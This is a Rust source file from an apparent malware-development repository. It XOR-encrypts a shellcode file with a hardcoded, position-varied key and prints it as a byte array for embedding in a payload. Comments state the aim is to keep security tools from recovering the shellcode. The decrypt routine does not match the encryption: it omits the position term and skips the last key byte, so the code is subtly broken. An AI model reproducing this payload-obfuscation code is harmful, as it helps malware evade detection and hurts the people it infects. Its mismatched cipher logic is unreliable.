-
Notifications
You must be signed in to change notification settings - Fork 184
/
xor_encrypt.rs
96 lines (73 loc) · 2.33 KB
/
xor_encrypt.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
/*
For codes. Visit: https://github.com/Whitecat18/Rust-for-Malware-Development.git
@5mukx
*/
use std::fs::File;
use std::io::Read;
/*
Default XOR Method
*/
// fn xor(data: &[u8], key: &str) -> Vec<u8>{
// let key_bytes = key.as_bytes();
// let mut output = Vec::with_capacity(data.len());
// for (i, &byte) in data.iter().enumerate(){
// let current_key = key_bytes[i % key_bytes.len()];
// output.push(byte ^ (current_key));
// }
// output
// }
/* /
----->
There are some tools and security solutions can brute force the key which will expose the decrypted shellcode we can make i
to be an part of the key. with keyspace much larger now, it's more difficult to brute force the key.
----->
/ */
fn xor(data: &[u8], key: &str) -> Vec<u8>{
let key_bytes = key.as_bytes();
let mut output = Vec::with_capacity(data.len());
for (i, &byte) in data.iter().enumerate(){
let current_key = key_bytes[i % key_bytes.len()];
output.push(byte ^ current_key.wrapping_add(i as u8));
}
output
}
fn xor_encrypt(data: &[u8], key: &str)-> String{
let ciphertext = xor(data, key);
let hex_str: Vec<String> = ciphertext.iter().map(|&x| format!("{:02x}",x)).collect();
format!("{{ 0x{} }};", hex_str.join(", 0x"))
}
// XOR DECRYPT FUNCTION
fn xor_decrypt(data:&mut [u8], key: &[u8]){
let mut j = 0;
for i in 0..data.len(){
if j == key.len() -1{
j = 0;
}
data[i] ^= key[j];
j += 1;
}
}
fn main(){
let mut plaintext = Vec::new();
//keys
let secrect_key = "iamafuckingnerd";
if let Ok(mut file) = File::open("./shellcode.bin"){
if let Ok(_) = file.read_to_end(&mut plaintext){
let ciphertext = xor_encrypt(&plaintext, secrect_key);
println!("{}",ciphertext);
} else {
eprintln!("Failed to Read File !");
}
} else {
eprintln!("Failed to open File !");
}
// Just an normat Implementation of shellcode on your Payload program !
// set your payload and pass the keys and shellcode
//----->
// Shellcode decrypt methods ..!
let mut shellcode = [];
let secrect_key = "iamafuckingnerd";
xor_decrypt(&mut shellcode, secrect_key.as_bytes());
// After that your logic what to do with the shellcode !...
//----->
}